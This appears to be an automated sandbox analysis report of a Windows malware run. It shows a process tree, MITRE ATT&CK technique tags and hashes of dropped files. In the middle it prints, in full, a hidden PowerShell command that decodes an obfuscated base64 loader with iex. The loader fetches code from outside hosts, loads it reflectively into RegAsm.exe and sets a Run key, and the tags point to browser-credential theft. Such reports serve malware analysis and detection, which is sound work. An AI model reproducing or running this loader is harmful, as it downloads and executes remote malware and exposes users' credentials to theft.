        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=3916,i,13821205793425265453,17156210706373041319,2097152 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=4732 /prefetch:1
        7⤵
        
        PID:2804
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=3928,i,1172644961287617318,3661355698520051926,2097152 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=4748 /prefetch:9
        7⤵
        
        PID:132
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=3976,i,140047469745132918,16580831298347616905,2097152 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=4768 /prefetch:1
        7⤵
        
        PID:4052
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=3988,i,16924728504175125284,973738756783326492,2097152 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=4776 /prefetch:9
        7⤵
        
        PID:5220
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=4012,i,11211263864617974044,4107369290827933381,2097152 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=4788 /prefetch:1
        7⤵
        
        PID:5228
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=4024,i,15895405425559415670,14449994668940356740,2097152 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=4808 /prefetch:9
        7⤵
        
        PID:5232
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4184,i,16669519871065046313,14996331025279229174,524288 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=5164 /prefetch:14
        7⤵
        
        PID:4264
        
        C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1152
        8⤵
        
        PID:5600
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5380,i,13950434807822056400,4123579416174798098,524288 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=4716 /prefetch:14
        7⤵
        
        PID:4668
        
        C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=592
        8⤵
        
        PID:3136
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\u1ndlrof.bbb" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5460,i,11345492108030383600,7237802334178469684,524288 --field-trial-handle=2656,i,1699704943348006190,8625323715888714387,262144 --variations-seed-version --mojo-platform-channel-handle=3820 /prefetch:14
        7⤵
        
        PID:5028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$ddsdfgo = ''DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwB5AEIAMQBjADIAbAB1AFoAeQBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAagBzAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEYAQgBvAFkAVwA1ADAAYgAyADEASABZAFgAUgBsAGUAMwBCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBRAFgATgB6AFoAVwAxAGkAYgBIAGsAZwBUAEcAOQBoAFoARQBGAHoAYwAyAFYAdABZAG0AeAA1AEsARwBKADUAZABHAFYAYgBYAFMAQgBtAEsAWAB0AEIAYwAzAE4AbABiAFcASgBzAGUAUwBCAGgAUABXADUAMQBiAEcAdwA3AEkARwBsAG0ASwBHAEUAOQBQAFcANQAxAGIARwB3AHAAZQAzADAAZwBjAG0AVgAwAGQAWABKAHUASQBFAEYAdwBjAEUAUgB2AGIAVwBGAHAAYgBpADUARABkAFgASgB5AFoAVwA1ADAAUgBHADkAdABZAFcAbAB1AEwAawB4AHYAWQBXAFEAbwBaAGkAawA3AGYAWAAwAD0AJwANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAKAAkAGwAKQB7ACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAAJABsACAALQBDAG8AdQBuAHQAIAAkAGwALgBDAG8AdQBuAHQAKQB8ACUAewB0AHIAeQB7AHIAZQB0AHUAcgBuACAAJAB3AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAF8AKQB9AGMAYQB0AGMAaAB7AH0AfQB9AA0ACgBmAHUAbgBjAHQAaQBvAG4AIABpACgAJABhACwAJAB0ACwAJABtACwAJABwAD0AQAAoACkAKQB7ACQAeQA9AFsAUABoAGEAbgB0AG8AbQBHAGEAdABlAF0AOgA6AEwAbwBhAGQAQQBzAHMAZQBtAGIAbAB5ACgAJABhACkAOwAkAHIAPQAkAHkALgBHAGUAdABUAHkAcABlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AZQBxACAAJAB0AH0AOwAkAG4APQAkAHIALgBHAGUAdABNAGUAdABoAG8AZAAoACQAbQAsACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQAnAFAAdQBiAGwAaQBjACwATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAEkAbgBzAHQAYQBuAGMAZQAnACkAKQA7ACQAbwA9AGkAZgAoACEAJABuAC4ASQBzAFMAdABhAHQAaQBjACkAewBbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQAcgApAH0AOwAkAG4ALgBJAG4AdgBvAGsAZQAoACQAbwAsACQAcAApAH0ADQAKAA0ACgAkAGsAPQBAACgAKAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYgBpAHQAcgBhAHIAeQAtAGMAaABvAGMAbwBsAGEAdABlAC0AdABpAGcAbABvAG4ALgBtAHkAZgBpAGwAZQBiAGEAcwBlAC4AYwBvAG0ALwBpAHAAZgBzAC8AUQBtAE4AYQBYAEYAUQBaAHcASwA0AFgAQQAzAFAAOQA0AEEAOAB1AGcANQBnAHQAZQA5ADcAQgBRAHIAOABVAHUAQQA4ADcASgBlAEQAQQBQAEsAVgBDAGQASwAnACkALAAoACcAaAB0AHQAcABzADoALwAvAHAAYQBzAHQAZQAuAHMAZQBuAHMAaQBvAC4AbgBvAC8AVAByAGkAcABsAGUAdABzAE0AZQBjAGgAYQBuAGkAYwAnACkAKQANAAoAaQBmACgAKAAkAGcAPQBkACAAJABf#ACkALQBhAG4AZAAoACQAdAA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGcAKQApAC0AbQBhAHQAYwBoACcAPAA8AFMAVABBAFIAVAA+AD4AKAAuACoAPwApADwAPABFAE4ARAA+AD4AJwApAHsADQAKACAAIAAkAGcAZwAgAD0AIAAnAHQAeAB0AC4AaQBhAGgAZQBnAEYAUwAvADIAMAAvADQAMgAuADYAOAAuADMAOAAuADMAMAAxAC8ALwA6AGcAcwBmAGYAcwBmAHMAZAAnACAAOwAgACQAZwBnACAAPQAgACQAZwBnAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAwACwAIAAkAGcAZwAuAEwAZQBuAGcAdABoACAALQAgADgAKQANAAoAIAAgACAAIABpACAAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQATQBhAHQAYwBoAGUAcwBbADEAXQApACkAIAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwAgACcAcgB1AG4AcwBzACcAIABAACgAJABnAGcALAAgACcAMQAnACwAIAAnAGsAaABjAHIAZABhAGIAJwAsACAAJwBSAGUAZwBBAHMAbQAnACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQANAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAfABzAG8AcgB0ACAAQwBQAFUAIAAtAGQAZQBzAGMAfABzAGUAbABlAGMAdAAgAC0AZgBpAHIAcwB0ACAANQB8AGYAdAAgAE4AYQBtAGUALABDAFAAVQAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgAA=='';$oWfdfjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdfgo, ''f#'', ''r'')));iex $oWfdfjfdsuxd\"'"; Copy-Item -Path 'C:\ProgramData\khcrdab.bat' -Destination 'C:\ProgramData\khcrdab.bat' -Force -ErrorAction SilentlyContinue"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$ddsdfgo = 'DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwB5AEIAMQBjADIAbAB1AFoAeQBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAagBzAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEYAQgBvAFkAVwA1ADAAYgAyADEASABZAFgAUgBsAGUAMwBCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBRAFgATgB6AFoAVwAxAGkAYgBIAGsAZwBUAEcAOQBoAFoARQBGAHoAYwAyAFYAdABZAG0AeAA1AEsARwBKADUAZABHAFYAYgBYAFMAQgBtAEsAWAB0AEIAYwAzAE4AbABiAFcASgBzAGUAUwBCAGgAUABXADUAMQBiAEcAdwA3AEkARwBsAG0ASwBHAEUAOQBQAFcANQAxAGIARwB3AHAAZQAzADAAZwBjAG0AVgAwAGQAWABKAHUASQBFAEYAdwBjAEUAUgB2AGIAVwBGAHAAYgBpADUARABkAFgASgB5AFoAVwA1ADAAUgBHADkAdABZAFcAbAB1AEwAawB4AHYAWQBXAFEAbwBaAGkAawA3AGYAWAAwAD0AJwANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAKAAkAGwAKQB7ACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAAJABsACAALQBDAG8AdQBuAHQAIAAkAGwALgBDAG8AdQBuAHQAKQB8ACUAewB0AHIAeQB7AHIAZQB0AHUAcgBuACAAJAB3AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAF8AKQB9AGMAYQB0AGMAaAB7AH0AfQB9AA0ACgBmAHUAbgBjAHQAaQBvAG4AIABpACgAJABhACwAJAB0ACwAJABtACwAJABwAD0AQAAoACkAKQB7ACQAeQA9AFsAUABoAGEAbgB0AG8AbQBHAGEAdABlAF0AOgA6AEwAbwBhAGQAQQBzAHMAZQBtAGIAbAB5ACgAJABhACkAOwAkAHIAPQAkAHkALgBHAGUAdABUAHkAcABlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AZQBxACAAJAB0AH0AOwAkAG4APQAkAHIALgBHAGUAdABNAGUAdABoAG8AZAAoACQAbQAsACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQAnAFAAdQBiAGwAaQBjACwATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAEkAbgBzAHQAYQBuAGMAZQAnACkAKQA7ACQAbwA9AGkAZgAoACEAJABuAC4ASQBzAFMAdABhAHQAaQBjACkAewBbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQAcgApAH0AOwAkAG4ALgBJAG4AdgBvAGsAZQAoACQAbwAsACQAcAApAH0ADQAKAA0ACgAkAGsAPQBAACgAKAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYgBpAHQAcgBhAHIAeQAtAGMAaABvAGMAbwBsAGEAdABlAC0AdABpAGcAbABvAG4ALgBtAHkAZgBpAGwAZQBiAGEAcwBlAC4AYwBvAG0ALwBpAHAAZgBzAC8AUQBtAE4AYQBYAEYAUQBaAHcASwA0AFgAQQAzAFAAOQA0AEEAOAB1AGcANQBnAHQAZQA5ADcAQgBRAHIAOABVAHUAQQA4ADcASgBlAEQAQQBQAEsAVgBDAGQASwAnACkALAAoACcAaAB0AHQAcABzADoALwAvAHAAYQBzAHQAZQAuAHMAZQBuAHMAaQBvAC4AbgBvAC8AVAByAGkAcABsAGUAdABzAE0AZQBjAGgAYQBuAGkAYwAnACkAKQANAAoAaQBmACgAKAAkAGcAPQBkACAAJABf#ACkALQBhAG4AZAAoACQAdAA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGcAKQApAC0AbQBhAHQAYwBoACcAPAA8AFMAVABBAFIAVAA+AD4AKAAuACoAPwApADwAPABFAE4ARAA+AD4AJwApAHsADQAKACAAIAAkAGcAZwAgAD0AIAAnAHQAeAB0AC4AaQBhAGgAZQBnAEYAUwAvADIAMAAvADQAMgAuADYAOAAuADMAOAAuADMAMAAxAC8ALwA6AGcAcwBmAGYAcwBmAHMAZAAnACAAOwAgACQAZwBnACAAPQAgACQAZwBnAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAwACwAIAAkAGcAZwAuAEwAZQBuAGcAdABoACAALQAgADgAKQANAAoAIAAgACAAIABpACAAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQATQBhAHQAYwBoAGUAcwBbADEAXQApACkAIAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwAgACcAcgB1AG4AcwBzACcAIABAACgAJABnAGcALAAgACcAMQAnACwAIAAnAGsAaABjAHIAZABhAGIAJwAsACAAJwBSAGUAZwBBAHMAbQAnACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQANAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAfABzAG8AcgB0ACAAQwBQAFUAIAAtAGQAZQBzAGMAfABzAGUAbABlAGMAdAAgAC0AZgBpAHIAcwB0ACAANQB8AGYAdAAgAE4AYQBtAGUALABDAFAAVQAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgAA==';$oWfdfjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdfgo, 'f#', 'r')));iex $oWfdfjfdsuxd"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4192
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\w02x2kua\w02x2kua.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2564
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAAC2.tmp" "c:\Users\Admin\AppData\Local\Temp\w02x2kua\CSC4D42710D8E4843859BD36696B1B97C84.TMP"
      4⤵
      PID:1632
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4716

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
MD5 88dc70c361a22feac57b031dd9c1f02f
SHA1 a9b4732260c2a323750022a73480f229ce25d46d
SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
TLSH
T13551DF313375B1D489163F47192C19C423BF4355FA94AF4CB698620ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 edfaf1382d7dd40ef44af7e3b061ff17d9f4120ad57ad619bb9fcce59d4cb118
MD5 f66530c7092582968298c52ef8953635
SHA1 40b96fd56cfbd64e9df531fc75751ef0a6070bc2
SHA512 b0c7e2325b71e767651a987290077ec5d1b941ab05508d6be3c632062bf59e4a45c843c94590b39a88feaa89ab0e6dd1b92841f38e9ac22e63eeefb6077b165b
SSDEEP 1536:KflJdah4iUxFYkzvHgfKQ9UpeE711kDa5ljNC+jH0IMZMXYo3Xi3j39MVvjBMrx3:KflJdaqiUFYkzvHgfKQ9UpeE711kDa5U
TLSH
T1C2538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a7b85203eb19e1d4df930b19b87efe0461e98ea8653587075caaef6df67455a9
MD5 4670cd85ab985c59c375c748df38c632
SHA1 587bda9e985e82edbcd492bc23ec109a87630a7e
SHA512 9e2ad6e8afb583a624a7a5e3889e13b43e6f9819d8414e263ace8df9b49e740099dbdaf26290f34e43bf3b01413e451006eb7f2297e69debff30e318e1b1f237
TLSH
T1C5219A33B39CC165C8C9017A1088AC00B1B6C7D7009ECECB6B84C508E63F999CB641A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3a3dd2d4bdfc17d64262f4dc86ceb242ecf743f2da0412eb60074557a741a5eb
MD5 d6b84d4be64de661c778642e3a7f6ff7
SHA1 714900a833208d39d6a4d0a96c671372dc5a12dd
SHA512 7fb33a924af54810bb8c69a0c4a126b1ba6ade4944f098ab8334c0a6c8fee91c7d8e25465c79deed6f6f7fe2000366831f801691dd950051a37c850722907c77
TLSH
T108115333B79CC235C8E915BA1088AE11B1B5C3C7049EDE8F7A84C109E67F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0
MD5 1a11402783a8686e08f8fa987dd07bca
SHA1 580df3865059f4e2d8be10644590317336d146ce
SHA512 5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510
MD5 SHA1 SHA512

Submit Download

0znoxkge.dll

Path C:\Users\Admin\AppData\Local\Temp\0znoxkge\0znoxkge.dll
Size 3KB
SHA256 8fd3e3b463d1c57292bc843afa0c99432dec6be27deb7ba944aeebd4a88ce56c
MD5 8e5c79ba5eaeee53ea49f9db7a3fb4a6
SHA1 38eab0ee948c7bfe91a4ffd282a70937bce447c4
SHA512 0eb74d4d3e7f9db5b4c29bb0923902dfe80cf403b809338ec80adc9faac2e02b60484cbe699c739b4fe563549703b8016b14e231ee7dd1b84c07a8ea7c7dd121
TLSH
T19E511C2A63E8426BE8A70B312EF347132374F9109B22875E5880023CBC603A45E31FB2
MD5 SHA1 SHA512 TLSH

Submit Download

RES4CC3.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES4CC3.tmp
Size 1KB
SHA256 09b202c4e10852a30d96636409143480089c4af8772254ac8b5e07f44cfd95c0
MD5 d651848329db1c9bb4809869613bad63
SHA1 2e6809f73b1fd941c3b3bedc0c8404754921ec6e
SHA512 a20e0eb74c73fea91c68fc25ffb58314ba3c5d1a5827f0eb9bdd9ca040627b753cec2279726143a23820712e25de88cf55bbadb0f190743a1f098be0a27d068a
TLSH
T15721890553F94B1EF0B3573169FA072FA274FD95EFA2935B8540422C2C52544EEA0E73
MD5 SHA1 SHA512 TLSH

Submit Download

RESAAC2.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESAAC2.tmp
Size 1KB
SHA256 6d3470523375273cd7cf0fce4f891d90adc6c2cba44975e4426478647e772a32
MD5 f3b4a68d5404ac60a5b03ffddd38cd39
SHA1 adee3c4c6396c6a3fd85da9efcc0a28a5609b6cc
SHA512 a26a820c263835c3609fd889eb46e65103e50dfaf4f34c44553481391ac75bc5c7e9e36d462511b00fccc39e2c858a0e3d37b1474f23cea9c4c35572ca9d38e0
TLSH
T1A421AF0553E9471FF0735B3169F6171BA664FE56EF72936F848042281C41104EEB0F72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_fyz1swhi.opm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fyz1swhi.opm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

b6ca76e9-e08a-44d2-8934-d4491f915bd7.bat

Path C:\Users\Admin\AppData\Local\Temp\b6ca76e9-e08a-44d2-8934-d4491f915bd7.bat
Size 8KB
